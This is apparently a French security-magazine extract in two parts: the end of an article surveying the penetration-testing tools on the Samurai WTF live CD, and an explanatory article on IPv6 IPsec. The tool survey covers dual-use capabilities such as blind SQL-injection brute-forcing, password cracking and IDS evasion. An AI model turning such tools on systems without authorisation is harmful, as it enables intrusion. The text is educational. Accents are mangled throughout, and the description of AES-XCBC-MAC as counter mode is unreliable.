outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

